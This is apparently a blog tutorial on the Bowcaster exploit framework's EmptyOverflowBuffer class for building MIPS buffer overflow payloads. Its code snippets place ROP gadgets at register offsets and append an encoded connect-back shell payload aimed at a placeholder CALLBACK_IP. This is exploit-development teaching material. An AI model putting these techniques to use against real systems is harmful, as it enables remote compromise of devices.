In previous parts of the Bowcaster tutorial, I showed how to construct your buffer overflow using the OverflowBuffer class. I also mentioned there is another class, EmptyOverflowBuffer, that I would explain later. That class is going to be the topic of this post.
When I started development of Bowcaster, I created it for myself and for the way I develop exploits and think about buffer overflows. The OverflowBuffer class works the way I think. But when I talked to my colleague, Craig Heffner, about the project, Craig preferred a different API, I realized that we each think about the same problem in different ways.
Like I explained previously, the OverflowBuffer class lets you start with an exploit buffer of a prescribed length, filled with a non-repeating pattern. You then start replacing parts of your buffer with things like ROP gadgets and shellcode.
Craig wanted an API that would start you with an zero length exploit buffer you could grow by appending ROP gadgets, strings and the like. I couldn’t reconcile this proposed API with what I had developed already because, at a fundamental level, we differ in how we visualize the exploit.
OverflowBuffer and EmptyOverflowBuffer each have their advantages. OverflowBuffer allows the developer to add ROP gadgets and shellcode in an arbitrary order. I like to visualize the sequence in which the ROP gadgets and shellcode will be executed, and add those pieces to the exploit buffer in that order.
If, on the other hand, you like to visualize the physical layout of your exploit buffer in memory, and want to add the pieces in that order, EmptyOveflowBuffer is probably for you.
Here’s an example of creating an EmptyOverflowBuffer instance:
from bowcaster.development.overflowbuilder import EmptyOverflowBuffer from bowcaster.common.support import LittleEndian badchars=['\0',0x0d,'\n',0x20] buf=EmptyOverflowBuffer(LittleEndian,default_base=libc_base,badchars=badchars,maxlength=2048)
With this class, we have no need for the SectionCreator object, since there is no notion of “replacement sections”. Also note the optional ‘max_length‘ parameter. Omitting this parameter will mean you can grow your exploit buffer to arbitrary length. If you provide a maximum length, an exception is raised if adding a section would exceed the specified length.
There are three types of sections you can add: a string, a pattern section, or a ROP gadget. You may add an arbitrary string using the add_string() method. For example, you may want to append a long string of ‘A’s, or your shellcode string.
Adding a pattern section using add_pattern() creates pattern sequence of the specified length. Note the start of the sequence is calibrated to the start of the overflow buffer and the current offset. This means a given sub-sequence of the pattern will always be at the same offset into the buffer regardless what other sections came before it.
Here’s an example of what I mean:
>>> buf1.add_pattern(8) >>> buf1.add_pattern(12) >>> print buf1 Aa0Aa1Aa2Aa3Aa4Aa5Aa >>> buf2.add_pattern(6) >>> buf2.add_string("A"*8) >>> buf2.add_pattern(6) >>> print buf2 Aa0Aa1AAAAAAAA4Aa5Aa
Above, two buffers are created of length 20. The second one has a section of 8 ‘A’s in the middle. However, the sub-sequence ‘a5Aa’ is at the end of both. This consistent sequence alignment helps with exploit debugging.
To add a ROP gadget, use the add_rop_gadget() method. You can specify and optional ‘base_address=‘ parameter if the base address for this gadget’s library is different than the default base provided to the constructor.
Another thing to note about this API is that pattern sections are specified in terms of length, not offset. The offset is implicit; it is simply the buffer’s current length. So if you know offsets into your buffer from where data will get loaded into various registers, you’ll need to compute the length of the pattern filler’s in between.
Here’s an example:
#first function epilogue ra=528 #second function epilogue s0=620 s2=628 buf.add_pattern(ra) #$ra loaded from offset 528 buf.add_rop_gadget(0x31b44, description="[$ra] function epilogue that sets up $s1-$s7") buf.add_pattern(s0-buf.len()) buf.add_rop_gadget(0x506c0, description="[$s0] Address of sleep() in libc. be sure to set up $ra and $a0 before calling.") buf.add_pattern(s2-buf.len()) buf.add_rop_gadget(0x427a4, description="[$s2] placeholder, derefed without crashing.")
In the example we know the offsets into the buffer from where $ra, $s0, and $s2 will get loaded. We must specify filler patterns of the right length such that the ROP gadgets will land at the proper offsets and get loaded into the proper registers. This differs from the combination of SectionCreator and OverflowBuffer where you don’t specify filler sections at all (they are implicit) and instead specify ROP gadgets in terms of the offsets.
There is an advantage to this method. This API only allows you to to append sections one after another, so there’s no way to have overlapping sections. As I explained previously, with OverflowBuffer, if any of the sections overlap, an exception is raised.
Adding a payload is essentially the same. Create a payload object as before, then use add_string() to append the payload to your exploit buffer. Here’s an example:
payload=ConnectbackPayload(CALLBACK_IP,LittleEndian) encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars) buf.add_pattern(shellcode_return-buf.len()) buf.add_string(encoded_payload.shellcode, description="encoded connect back payload")
The complete working example can be found in doc/examples/overflow_example_2.py in the Bowcaster source, or click here.